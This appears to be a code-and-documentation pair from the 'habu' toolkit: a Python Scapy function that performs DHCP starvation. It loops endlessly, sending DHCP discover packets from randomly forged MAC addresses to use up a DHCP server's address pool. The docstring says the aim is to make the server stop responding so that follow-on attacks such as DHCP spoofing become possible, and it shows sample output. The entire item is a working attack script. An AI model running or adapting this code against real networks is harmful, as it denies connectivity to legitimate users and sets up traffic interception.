code: def cmd_dhcp_starvation(iface, timeout, sleeptime, verbose):
      
  
      conf.verb = False
  
      if iface:
          conf.iface = iface
  
      conf.checkIPaddr = False
  
      ether = Ether(dst="ff:ff:ff:ff:ff:ff")
      ip = IP(src="0.0.0.0",dst="255.255.255.255")
      udp = UDP(sport=68, dport=67)
      dhcp = DHCP(options=[("message-type","discover"),"end"])
  
      while True:
          bootp = BOOTP(chaddr=str(RandMAC()))
          dhcp_discover = ether / ip / udp / bootp / dhcp
          ans, unans = srp(dhcp_discover, timeout=1)      # Press CTRL-C after several seconds
  
          for _, pkt in ans:
              if verbose:
                  print(pkt.show())
              else:
                  print(pkt.sprintf(r"%IP.src% offers %BOOTP.yiaddr%"))
  
          sleep(sleeptime)
docs: Send multiple DHCP requests from forged MAC addresses to
      fill the DHCP server leases.
  
      When all the available network addresses are assigned, the DHCP server don't send responses.
  
      So, some attacks, like DHCP spoofing, can be made.
  
      \b
      # habu.dhcp_starvation
      Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.6:bootpc / BOOTP / DHCP
      Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.7:bootpc / BOOTP / DHCP
      Ether / IP / UDP 192.168.0.1:bootps > 192.168.0.8:bootpc / BOOTP / DHCP